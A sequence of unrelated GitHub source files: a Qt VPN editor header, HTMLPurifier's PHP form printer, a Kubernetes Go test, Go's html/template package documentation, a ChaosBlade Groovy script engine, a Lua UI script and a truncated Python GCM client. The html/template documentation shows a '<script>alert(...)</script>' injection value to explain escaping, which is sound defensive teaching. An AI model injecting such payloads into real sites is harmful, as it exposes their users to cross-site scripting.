it's cost %s, best wish for your INT8 inference has a low accuracy loss...\(^▽^)/...2333..." % (time_end - time_start)) if __name__ == "__main__": main()
{ "pile_set_name": "Github" }
/**************************** vpn_ed.h *************************** Code to manage the VPN Provisioning Editor dialog. Copyright (C) 2016-2020 by: Andrew J. Bibb License: MIT Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ***********************************************************************/ # ifndef VPN_PROVISIONING_EDITOR_H # define VPN_PROVISIONING_EDITOR_H # include <QDialog> # include <QWhatsThis> # include <QMenuBar> # include <QMenu> # include <QStatusBar> # include <QActionGroup> # include <QButtonGroup> # include <QLabel> # include <QLineEdit> # include <QDialogButtonBox> # include <QString> # include <QStringList> # include <QtDBus/QtDBus> # include "ui_vpn_prov_editor.h" // The class to control the properties editor UI based on a QDialog class VPN_Editor : public QDialog { Q_OBJECT public: VPN_Editor(QWidget*, const float&); private: // members Ui::VPN_Prov ui; int i_sel; QMenuBar* menubar; QMenu* menu_global; QMenu* menu_OpenConnect; QMenu* menu_OpenVPN; QMenu* menu_VPNC; QMenu* menu_L2TP; QMenu* menu_PPTP; QMenu* menu_WireGuard; QActionGroup* group_provider; QActionGroup* group_freeform; QActionGroup* group_combobox; QActionGroup* group_yes; QActionGroup* group_validated; QActionGroup* group_selectfile; QActionGroup* group_template; QButtonGroup* bg01; QStatusBar* statusbar; int statustimeout; QString vpn_path; private slots: void inputSelectFile(QAction*); void inputValidated(QAction*, QString s = QString()); void inputComboBox(QAction*); void inputYes(QAction*); void inputFreeForm(QAction*, QString s = QString()); void showWhatsThis(); void resetPage(); void requestFileList(QAbstractButton*); void processFileList(const QStringList&); void seedTextEdit(const QString&); void deleteCompleted(bool); void writeCompleted(qint64); void callbackErrorHandler(QDBusError); void createProvider(QAction*); void importOpenVPN(); public: inline void setWhatsThisIcon(QIcon icon) {ui.toolButton_whatsthis->setIcon(icon);} }; #endif
{ "pile_set_name": "Github" }
<?php /** * @todo Rewrite to use Interchange objects */ class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer { /** * Printers for specific fields. * @type HTMLPurifier_Printer[] */ protected $fields = array(); /** * Documentation URL, can have fragment tagged on end. * @type string */ protected $docURL; /** * Name of form element to stuff config in. * @type string */ protected $name; /** * Whether or not to compress directive names, clipping them off * after a certain amount of letters. False to disable or integer letters * before clipping. * @type bool */ protected $compress = false; /** * @param string $name Form element name for directives to be stuffed into * @param string $doc_url String documentation URL, will have fragment tagged on * @param bool $compress Integer max length before compressing a directive name, set to false to turn off */ public function __construct( $name, $doc_url = null, $compress = false ) { parent::__construct(); $this->docURL = $doc_url; $this->name = $name; $this->compress = $compress; // initialize sub-printers $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default(); $this->fields[HTMLPurifier_VarParser::BOOL] = new HTMLPurifier_Printer_ConfigForm_bool(); } /** * Sets default column and row size for textareas in sub-printers * @param $cols Integer columns of textarea, null to use default * @param $rows Integer rows of textarea, null to use default */ public function setTextareaDimensions($cols = null, $rows = null) { if ($cols) { $this->fields['default']->cols = $cols; } if ($rows) { $this->fields['default']->rows = $rows; } } /** * Retrieves styling, in case it is not accessible by webserver */ public static function getCSS() { return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); } /** * Retrieves JavaScript, in case it is not accessible by webserver */ public static function getJavaScript() { return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); } /** * Returns HTML output for a configuration form * @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array * where [0] has an HTML namespace and [1] is being rendered. * @param array|bool $allowed Optional namespace(s) and directives to restrict form to. * @param bool $render_controls * @return string */ public function render($config, $allowed = true, $render_controls = true) { if (is_array($config) && isset($config[0])) { $gen_config = $config[0]; $config = $config[1]; } else { $gen_config = $config; } $this->config = $config; $this->genConfig = $gen_config; $this->prepareGenerator($gen_config); $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def); $all = array(); foreach ($allowed as $key) { list($ns, $directive) = $key; $all[$ns][$directive] = $config->get($ns . '.' . $directive); } $ret = ''; $ret .= $this->start('table', array('class' => 'hp-config')); $ret .= $this->start('thead'); $ret .= $this->start('tr'); $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive')); $ret .= $this->element('th', 'Value', array('class' => 'hp-value')); $ret .= $this->end('tr'); $ret .= $this->end('thead'); foreach ($all as $ns => $directives) { $ret .= $this->renderNamespace($ns, $directives); } if ($render_controls) { $ret .= $this->start('tbody'); $ret .= $this->start('tr'); $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); $ret .= '[<a href="?">Reset</a>]'; $ret .= $this->end('td'); $ret .= $this->end('tr'); $ret .= $this->end('tbody'); } $ret .= $this->end('table'); return $ret; } /** * Renders a single namespace * @param $ns String namespace name * @param array $directives array of directives to values * @return string */ protected function renderNamespace($ns, $directives) { $ret = ''; $ret .= $this->start('tbody', array('class' => 'namespace')); $ret .= $this->start('tr'); $ret .= $this->element('th', $ns, array('colspan' => 2)); $ret .= $this->end('tr'); $ret .= $this->end('tbody'); $ret .= $this->start('tbody'); foreach ($directives as $directive => $value) { $ret .= $this->start('tr'); $ret .= $this->start('th'); if ($this->docURL) { $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); $ret .= $this->start('a', array('href' => $url)); } $attr = array('for' => "{$this->name}:$ns.$directive"); // crop directive name if it's too long if (!$this->compress || (strlen($directive) < $this->compress)) { $directive_disp = $directive; } else { $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; $attr['title'] = $directive; } $ret .= $this->element( 'label', $directive_disp, // component printers must create an element with this id $attr ); if ($this->docURL) { $ret .= $this->end('a'); } $ret .= $this->end('th'); $ret .= $this->start('td'); $def = $this->config->def->info["$ns.$directive"]; if (is_int($def)) { $allow_null = $def < 0; $type = abs($def); } else { $type = $def->type; $allow_null = isset($def->allow_null); } if (!isset($this->fields[$type])) { $type = 0; } // default $type_obj = $this->fields[$type]; if ($allow_null) { $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); } $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config)); $ret .= $this->end('td'); $ret .= $this->end('tr'); } $ret .= $this->end('tbody'); return $ret; } } /** * Printer decorator for directives that accept null */ class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer { /** * Printer being decorated * @type HTMLPurifier_Printer */ protected $obj; /** * @param HTMLPurifier_Printer $obj Printer to decorate */ public function __construct($obj) { parent::__construct(); $this->obj = $obj; } /** * @param string $ns * @param string $directive * @param string $value * @param string $name * @param HTMLPurifier_Config|array $config * @return string */ public function render($ns, $directive, $value, $name, $config) { if (is_array($config) && isset($config[0])) { $gen_config = $config[0]; $config = $config[1]; } else { $gen_config = $config; } $this->prepareGenerator($gen_config); $ret = ''; $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); $ret .= $this->text(' Null/Disabled'); $ret .= $this->end('label'); $attr = array( 'type' => 'checkbox', 'value' => '1', 'class' => 'null-toggle', 'name' => "$name" . "[Null_$ns.$directive]", 'id' => "$name:Null_$ns.$directive", 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! ); if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) { // modify inline javascript slightly $attr['onclick'] = "toggleWriteability('$name:Yes_$ns.$directive',checked);" . "toggleWriteability('$name:No_$ns.$directive',checked)"; } if ($value === null) { $attr['checked'] = 'checked'; } $ret .= $this->elementEmpty('input', $attr); $ret .= $this->text(' or '); $ret .= $this->elementEmpty('br'); $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config)); return $ret; } } /** * Swiss-army knife configuration form field printer */ class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer { /** * @type int */ public $cols = 18; /** * @type int */ public $rows = 5; /** * @param string $ns * @param string $directive * @param string $value * @param string $name * @param HTMLPurifier_Config|array $config * @return string */ public function render($ns, $directive, $value, $name, $config) { if (is_array($config) && isset($config[0])) { $gen_config = $config[0]; $config = $config[1]; } else { $gen_config = $config; } $this->prepareGenerator($gen_config); // this should probably be split up a little $ret = ''; $def = $config->def->info["$ns.$directive"]; if (is_int($def)) { $type = abs($def); } else { $type = $def->type; } if (is_array($value)) { switch ($type) { case HTMLPurifier_VarParser::LOOKUP: $array = $value; $value = array(); foreach ($array as $val => $b) { $value[] = $val; } //TODO does this need a break? case HTMLPurifier_VarParser::ALIST: $value = implode(PHP_EOL, $value); break; case HTMLPurifier_VarParser::HASH: $nvalue = ''; foreach ($value as $i => $v) { $nvalue .= "$i:$v" . PHP_EOL; } $value = $nvalue; break; default: $value = ''; } } if ($type === HTMLPurifier_VarParser::MIXED) { return 'Not supported'; $value = serialize($value); } $attr = array( 'name' => "$name" . "[$ns.$directive]", 'id' => "$name:$ns.$directive" ); if ($value === null) { $attr['disabled'] = 'disabled'; } if (isset($def->allowed)) { $ret .= $this->start('select', $attr); foreach ($def->allowed as $val => $b) { $attr = array(); if ($value == $val) { $attr['selected'] = 'selected'; } $ret .= $this->element('option', $val, $attr); } $ret .= $this->end('select'); } elseif ($type === HTMLPurifier_VarParser::TEXT || $type === HTMLPurifier_VarParser::ITEXT || $type === HTMLPurifier_VarParser::ALIST || $type === HTMLPurifier_VarParser::HASH || $type === HTMLPurifier_VarParser::LOOKUP) { $attr['cols'] = $this->cols; $attr['rows'] = $this->rows; $ret .= $this->start('textarea', $attr); $ret .= $this->text($value); $ret .= $this->end('textarea'); } else { $attr['value'] = $value; $attr['type'] = 'text'; $ret .= $this->elementEmpty('input', $attr); } return $ret; } } /** * Bool form field printer */ class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer { /** * @param string $ns * @param string $directive * @param string $value * @param string $name * @param HTMLPurifier_Config|array $config * @return string */ public function render($ns, $directive, $value, $name, $config) { if (is_array($config) && isset($config[0])) { $gen_config = $config[0]; $config = $config[1]; } else { $gen_config = $config; } $this->prepareGenerator($gen_config); $ret = ''; $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); $ret .= $this->text(' Yes'); $ret .= $this->end('label'); $attr = array( 'type' => 'radio', 'name' => "$name" . "[$ns.$directive]", 'id' => "$name:Yes_$ns.$directive", 'value' => '1' ); if ($value === true) { $attr['checked'] = 'checked'; } if ($value === null) { $attr['disabled'] = 'disabled'; } $ret .= $this->elementEmpty('input', $attr); $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); $ret .= $this->text(' No'); $ret .= $this->end('label'); $attr = array( 'type' => 'radio', 'name' => "$name" . "[$ns.$directive]", 'id' => "$name:No_$ns.$directive", 'value' => '0' ); if ($value === false) { $attr['checked'] = 'checked'; } if ($value === null) { $attr['disabled'] = 'disabled'; } $ret .= $this->elementEmpty('input', $attr); $ret .= $this->end('div'); return $ret; } } // vim: et sw=4 sts=4
{ "pile_set_name": "Github" }
/* Copyright 2014 The Kubernetes Authors All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package kubectl import ( "reflect" "testing" "github.com/spf13/cobra" ) type TestStruct struct { val int } func TestIsZero(t *testing.T) { tests := []struct { val interface{} expectZero bool }{ {"", true}, {nil, true}, {0, true}, {TestStruct{}, true}, {"foo", false}, {1, false}, {TestStruct{val: 2}, false}, } for _, test := range tests { output := IsZero(test.val) if output != test.expectZero { t.Errorf("expected: %v, saw %v", test.expectZero, output) } } } func TestValidateParams(t *testing.T) { tests := []struct { paramSpec []GeneratorParam params map[string]interface{} valid bool }{ { paramSpec: []GeneratorParam{}, params: map[string]interface{}{}, valid: true, }, { paramSpec: []GeneratorParam{ {Name: "foo"}, }, params: map[string]interface{}{}, valid: true, }, { paramSpec: []GeneratorParam{ {Name: "foo", Required: true}, }, params: map[string]interface{}{ "foo": "bar", }, valid: true, }, { paramSpec: []GeneratorParam{ {Name: "foo", Required: true}, }, params: map[string]interface{}{ "baz": "blah", "foo": "bar", }, valid: true, }, { paramSpec: []GeneratorParam{ {Name: "foo", Required: true}, {Name: "baz", Required: true}, }, params: map[string]interface{}{ "baz": "blah", "foo": "bar", }, valid: true, }, { paramSpec: []GeneratorParam{ {Name: "foo", Required: true}, {Name: "baz", Required: true}, }, params: map[string]interface{}{ "foo": "bar", }, valid: false, }, } for _, test := range tests { err := ValidateParams(test.paramSpec, test.params) if test.valid && err != nil { t.Errorf("unexpected error: %v", err) } if !test.valid && err == nil { t.Errorf("unexpected non-error") } } } func TestMakeParams(t *testing.T) { cmd := &cobra.Command{} cmd.Flags().String("foo", "bar", "") cmd.Flags().String("baz", "", "") cmd.Flags().Set("baz", "blah") paramSpec := []GeneratorParam{ {Name: "foo", Required: true}, {Name: "baz", Required: true}, } expected := map[string]interface{}{ "foo": "bar", "baz": "blah", } params := MakeParams(cmd, paramSpec) if !reflect.DeepEqual(params, expected) { t.Errorf("\nexpected:\n%v\nsaw:\n%v", expected, params) } }
{ "pile_set_name": "Github" }
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. /* Package template (html/template) implements data-driven templates for generating HTML output safe against code injection. It provides the same interface as package text/template and should be used instead of text/template whenever the output is HTML. The documentation here focuses on the security features of the package. For information about how to program the templates themselves, see the documentation for text/template. Introduction This package wraps package text/template so you can share its template API to parse and execute HTML templates safely. tmpl, err := template.New("name").Parse(...) // Error checking elided err = tmpl.Execute(out, data) If successful, tmpl will now be injection-safe. Otherwise, err is an error defined in the docs for ErrorCode. HTML templates treat data values as plain text which should be encoded so they can be safely embedded in an HTML document. The escaping is contextual, so actions can appear within JavaScript, CSS, and URI contexts. The security model used by this package assumes that template authors are trusted, while Execute's data parameter is not. More details are provided below. Example import "text/template" ... t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>") produces Hello, <script>alert('you have been pwned')</script>! but the contextual autoescaping in html/template import "html/template" ... t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>") produces safe, escaped HTML output Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;! Contexts This package understands HTML, CSS, JavaScript, and URIs. It adds sanitizing functions to each simple action pipeline, so given the excerpt <a href="/search?q={{.}}">{{.}}</a> At parse time each {{.}} is overwritten to add escaping functions as necessary. In this case it becomes <a href="/search?q={{. | urlquery}}">{{. | html}}</a> Errors See the documentation of ErrorCode for details. A fuller picture The rest of this package comment may be skipped on first reading; it includes details necessary to understand escaping contexts and error messages. Most users will not need to understand these details. Contexts Assuming {{.}} is `O'Reilly: How are <i>you</i>?`, the table below shows how {{.}} appears when used in the context to the left. Context {{.}} After {{.}} O'Reilly: How are &lt;i&gt;you&lt;/i&gt;? <a title='{{.}}'> O&#39;Reilly: How are you? <a href="/{{.}}"> O&#39;Reilly: How are %3ci%3eyou%3c/i%3e? <a href="?q={{.}}"> O&#39;Reilly%3a%20How%20are%3ci%3e...%3f <a onx='f("{{.}}")'> O\x27Reilly: How are \x3ci\x3eyou...? <a onx='f({{.}})'> "O\x27Reilly: How are \x3ci\x3eyou...?" <a onx='pattern = /{{.}}/;'> O\x27Reilly: How are \x3ci\x3eyou...\x3f If used in an unsafe context, then the value might be filtered out: Context {{.}} After <a href="{{.}}"> #ZgotmplZ since "O'Reilly:" is not an allowed protocol like "http:". If {{.}} is the innocuous word, `left`, then it can appear more widely, Context {{.}} After {{.}} left <a title='{{.}}'> left <a href='{{.}}'> left <a href='/{{.}}'> left <a href='?dir={{.}}'> left <a style="border-{{.}}: 4px"> left <a style="align: {{.}}"> left <a style="background: '{{.}}'> left <a style="background: url('{{.}}')> left <style>p.{{.}} {color:red}</style> left Non-string values can be used in JavaScript contexts. If {{.}} is struct{A,B string}{ "foo", "bar" } in the escaped template <script>var pair = {{.}};</script> then the template output is <script>var pair = {"A": "foo", "B": "bar"};</script> See package json to understand how non-string content is marshaled for embedding in JavaScript contexts. Typed Strings By default, this package assumes that all pipelines produce a plain text string. It adds escaping pipeline stages necessary to correctly and safely embed that plain text string in the appropriate context. When a data value is not plain text, you can make sure it is not over-escaped by marking it with its type. Types HTML, JS, URL, and others from content.go can carry safe content that is exempted from escaping. The template Hello, {{.}}! can be invoked with tmpl.Execute(out, template.HTML(`<b>World</b>`)) to produce Hello, <b>World</b>! instead of the Hello, &lt;b&gt;World&lt;b&gt;! that would have been produced if {{.}} was a regular string. Security Model https://rawgit.com/mikesamuel/sanitized-jquery-templates/trunk/safetemplate.html#problem_definition defines "safe" as used by this package. This package assumes that template authors are trusted, that Execute's data parameter is not, and seeks to preserve the properties below in the face of untrusted data: Structure Preservation Property: "... when a template author writes an HTML tag in a safe templating language, the browser will interpret the corresponding portion of the output as a tag regardless of the values of untrusted data, and similarly for other structures such as attribute boundaries and JS and CSS string boundaries." Code Effect Property: "... only code specified by the template author should run as a result of injecting the template output into a page and all code specified by the template author should run as a result of the same." Least Surprise Property: "A developer (or code reviewer) familiar with HTML, CSS, and JavaScript, who knows that contextual autoescaping happens should be able to look at a {{.}} and correctly infer what sanitization happens." */ package template
{ "pile_set_name": "Github" }
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; [assembly: AssemblyTitle("ZipTreeView")] [assembly: AssemblyDescription("Example showing a zipfile in a WinForms TreeView")] [assembly: AssemblyConfiguration("")] [assembly: ComVisible(false)] [assembly: Guid("c40b5ebc-ea71-420e-8f61-46582173dbb9")]
{ "pile_set_name": "Github" }
/* * Copyright 1999-2019 Alibaba Group Holding Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.chaosblade.exec.plugin.jvm.script.groovy; import java.io.IOException; import java.io.PrintWriter; import java.io.StringWriter; import java.math.BigDecimal; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import com.alibaba.chaosblade.exec.plugin.jvm.script.base.CompiledScript; import com.alibaba.chaosblade.exec.plugin.jvm.script.base.ExecutableScript; import com.alibaba.chaosblade.exec.plugin.jvm.script.base.ScriptEngine; import com.alibaba.chaosblade.exec.plugin.jvm.script.base.ScriptException; import groovy.lang.Binding; import groovy.lang.GroovyClassLoader; import groovy.lang.GroovyCodeSource; import groovy.lang.Script; import org.codehaus.groovy.ast.ClassCodeExpressionTransformer; import org.codehaus.groovy.ast.ClassNode; import org.codehaus.groovy.ast.expr.ConstantExpression; import org.codehaus.groovy.ast.expr.Expression; import org.codehaus.groovy.classgen.GeneratorContext; import org.codehaus.groovy.control.CompilationFailedException; import org.codehaus.groovy.control.CompilePhase; import org.codehaus.groovy.control.CompilerConfiguration; import org.codehaus.groovy.control.MultipleCompilationErrorsException; import org.codehaus.groovy.control.SourceUnit; import org.codehaus.groovy.control.customizers.CompilationCustomizer; import org.codehaus.groovy.control.customizers.ImportCustomizer; import org.codehaus.groovy.control.messages.Message; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * @author RinaisSuper */ public class GroovyScriptEngine implements ScriptEngine { public static final String UNTRUSTED_CODEBASE = "/untrusted"; public static final String GROOVY_INDY_SETTING_NAME = "indy"; private static final Logger LOGGER = LoggerFactory.getLogger(GroovyScriptEngine.class); private static String NAME = "Groovy"; @Override public String getLanguage() { return NAME; } @Override public Object compile(com.alibaba.chaosblade.exec.plugin.jvm.script.base.Script script, ClassLoader classLoader, Map<String, String> configs) { String className = "groovy_script_" + script.getId(); GroovyCodeSource codeSource = new GroovyCodeSource(script.getContent(), className, UNTRUSTED_CODEBASE); codeSource.setCachable(true); CompilerConfiguration compilerConfiguration = new CompilerConfiguration() .addCompilationCustomizers( new ImportCustomizer().addStaticStars("java.lang.Math")) .addCompilationCustomizers(new GroovyBigDecimalTransformer(CompilePhase.CONVERSION)); compilerConfiguration.getOptimizationOptions().put(GROOVY_INDY_SETTING_NAME, true); GroovyClassLoader groovyClassLoader = new GroovyClassLoader(classLoader, compilerConfiguration); try { return groovyClassLoader.parseClass(script.getContent()); } catch (Exception ex) { throw convertToScriptException("Compile script failed:" + className, script.getId(), ex); } } @Override public ExecutableScript execute(CompiledScript compiledScript, Map<String, Object> vars) { try { Map<String, Object> allVars = new HashMap<String, Object>(); if (vars != null) { allVars.putAll(vars); } return new GroovyScript(compiledScript, createScript(compiledScript.getCompiled(), allVars)); } catch (Exception e) { throw convertToScriptException("Failed to build executable script", compiledScript.getId(), e); } } private groovy.lang.Script createScript(Object compiledScript, Map<String, Object> vars) throws Exception { Class<?> scriptClass = (Class<?>)compiledScript; Script scriptObject = (Script)scriptClass.getConstructor().newInstance(); Binding binding = new Binding(); binding.getVariables().putAll(vars); scriptObject.setBinding(binding); return scriptObject; } private ScriptException convertToScriptException(String message, String scriptId, Throwable cause) { if (cause instanceof ScriptException) { return (ScriptException)cause; } List<String> stack = new ArrayList<String>(); if (cause instanceof MultipleCompilationErrorsException) { @SuppressWarnings({"unchecked"}) List<Message> errors = (List<Message>)((MultipleCompilationErrorsException)cause).getErrorCollector() .getErrors(); StringWriter writer = null; for (Message error : errors) { try { writer = new StringWriter(); error.write(new PrintWriter(writer)); stack.add(writer.toString()); } finally { if (writer != null) { try { writer.close(); } catch (IOException e) { } } } } } else if (cause instanceof CompilationFailedException) { CompilationFailedException error = (CompilationFailedException)cause; stack.add(error.getMessage()); } throw new ScriptException(message, cause, stack, scriptId, NAME); } private class GroovyBigDecimalTransformer extends CompilationCustomizer { private GroovyBigDecimalTransformer(CompilePhase phase) { super(phase); } @Override public void call(final SourceUnit source, final GeneratorContext context, final ClassNode classNode) throws CompilationFailedException { new BigDecimalExpressionTransformer(source).visitClass(classNode); } } private class BigDecimalExpressionTransformer extends ClassCodeExpressionTransformer { private final SourceUnit source; private BigDecimalExpressionTransformer(SourceUnit source) { this.source = source; } @Override protected SourceUnit getSourceUnit() { return this.source; } @Override public Expression transform(Expression expr) { Expression newExpr = expr; if (expr instanceof ConstantExpression) { ConstantExpression constExpr = (ConstantExpression)expr; Object val = constExpr.getValue(); if (val != null && val instanceof BigDecimal) { newExpr = new ConstantExpression(((BigDecimal)val).doubleValue()); } } return super.transform(newExpr); } } }
{ "pile_set_name": "Github" }
local ANIMATION_OPEN = "AniTipJudianBegin" local ANIMATION_END = "AniTipJudianEnd" local CLOSE_TIME = 3 local XUiTipBfrtLogisticSkill = XLuaUiManager.Register(XLuaUi, "UiTipBfrtLogisticSkill") function XUiTipBfrtLogisticSkill:OnStart(groupId) self.CurShowIndex = 0 self.LogisticsInfoIdList = XDataCenter.BfrtManager.GetLogisticsInfoIdList(groupId) self.TotalShowTimes = #self.LogisticsInfoIdList self:InitAutoScript() self:InitComponentState() self:UpdateView() end function XUiTipBfrtLogisticSkill:InitComponentState() end function XUiTipBfrtLogisticSkill:OnDestroy() self:ClearCloseTimer() self:ClearViewData() end function XUiTipBfrtLogisticSkill:ClearViewData() self.CurShowIndex = nil self.TotalShowTimes = nil self.LogisticsInfoIdList = {} end -- auto -- Automatic generation of code, forbid to edit function XUiTipBfrtLogisticSkill:InitAutoScript() self:AutoInitUi() self.SpecialSoundMap = {} self:AutoAddListener() end function XUiTipBfrtLogisticSkill:AutoInitUi() self.PanelTipBfrtLogisticSkill = self.Transform:Find("SafeAreaContentPane/PanelTipBfrtLogisticSkill") self.TxtEchelonIndex = self.Transform:Find("SafeAreaContentPane/PanelTipBfrtLogisticSkill/TxtEchelonIndex"):GetComponent("Text") self.TxtSkillDes = self.Transform:Find("SafeAreaContentPane/PanelTipBfrtLogisticSkill/TxtSkillDes"):GetComponent("Text") end function XUiTipBfrtLogisticSkill:GetAutoKey(uiNode,eventName) if not uiNode then return end return eventName .. uiNode:GetHashCode() end function XUiTipBfrtLogisticSkill:RegisterListener(uiNode, eventName, func) local key = self:GetAutoKey(uiNode, eventName) if not key then return end local listener = self.AutoCreateListeners[key] if listener ~= nil then uiNode[eventName]:RemoveListener(listener) end if func ~= nil then if type(func) ~= "function" then XLog.Error("XUiTipBfrtLogisticSkill:RegisterListener: func is not a function") end listener = function(...) XSoundManager.PlayBtnMusic(self.SpecialSoundMap[key],eventName) func(self, ...) end uiNode[eventName]:AddListener(listener) self.AutoCreateListeners[key] = listener end end function XUiTipBfrtLogisticSkill:AutoAddListener() self.AutoCreateListeners = {} end -- auto function XUiTipBfrtLogisticSkill:UpdateView() self.CurShowIndex = self.CurShowIndex + 1 if self.CurShowIndex > self.TotalShowTimes then self:Close() return end self:UpdatePanelDes() self:PlayBeginAnimation() end function XUiTipBfrtLogisticSkill:PlayBeginAnimation() local endCb = function() self:AddCloseTimer() end self:PlayAnimation(ANIMATION_OPEN, endCb) --XUiHelper.PlayAnimation(self, ANIMATION_OPEN, nil, endCb) end function XUiTipBfrtLogisticSkill:AddCloseTimer() self:ClearCloseTimer() local time = 0 local function action() time = time + 1 if time == CLOSE_TIME then self:PlayEndAnimation() end end self.Timer = CS.XScheduleManager.Schedule(action, CS.XScheduleManager.SECOND, CLOSE_TIME, 0) end function XUiTipBfrtLogisticSkill:PlayEndAnimation() local endCb = function() self:UpdateView() end --XUiHelper.PlayAnimation(self, ANIMATION_END, nil, endCb) end function XUiTipBfrtLogisticSkill:UpdatePanelDes() local echelonId = self.LogisticsInfoIdList[self.CurShowIndex] local logisticSkillDes = XDataCenter.BfrtManager.GetLogisticSkillDes(echelonId) self.TxtEchelonIndex.text = CS.XTextManager.GetText("BfrtLogisticEchelonTitle", self.CurShowIndex) self.TxtSkillDes.text = logisticSkillDes end function XUiTipBfrtLogisticSkill:ClearCloseTimer() if self.Timer then CS.XScheduleManager.UnSchedule(self.Timer) self.Timer = nil end end
{ "pile_set_name": "Github" }
''' The MIT License (MIT) Copyright (c) 2012 Minh Nam Ngo. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import urllib import urllib2 import json from collections import defaultdict import time import random GCM_URL = 'https://android.googleapis.com/gcm/send' class GCMException(Exception): pass class GCMMalformedJsonException(GCMException): pass class GCMConnectionException(GCMException): pass class GCMAuthenticationException(GCMException): pass class GCMTooManyRegIdsException(GCMException): pass class GCMInvalidTtlException(GCMException): pass # Exceptions from Google responses class GCMMissingRegistrationException(GCMException): pass class GCMMismatchSenderIdException(GCMException): pass class GCMNotRegisteredException(GCMException): pass class GCMMessageTooBigException(GCMException): pass class GCMInvalidRegistrationException(GCMException): pass class GCMUnavailableException(GCMException): pass # TODO: Refactor this to be more human-readable def group_response(response, registration_ids, key): # Pair up results and reg_ids mapping = zip(registration_ids, response['results']) # Filter by key filtered = filter(lambda x: key in x[1], mapping) # Only consider the value in the dict tupled = [(s[0], s[1][key]) for s in filtered] # Grouping of errors and mapping of ids if key is 'registration_id': grouping = {} for k, v in tupled: grouping[k] = v else: grouping = defaultdict(list) for k, v in tupled: grouping[v].append(k) if len(grouping) == 0: return return grouping def urlencode_utf8(params): """ UTF-8 safe variant of urllib.urlencode. http://stackoverflow.com/a/8152242 """ if hasattr(params, 'items'): params = 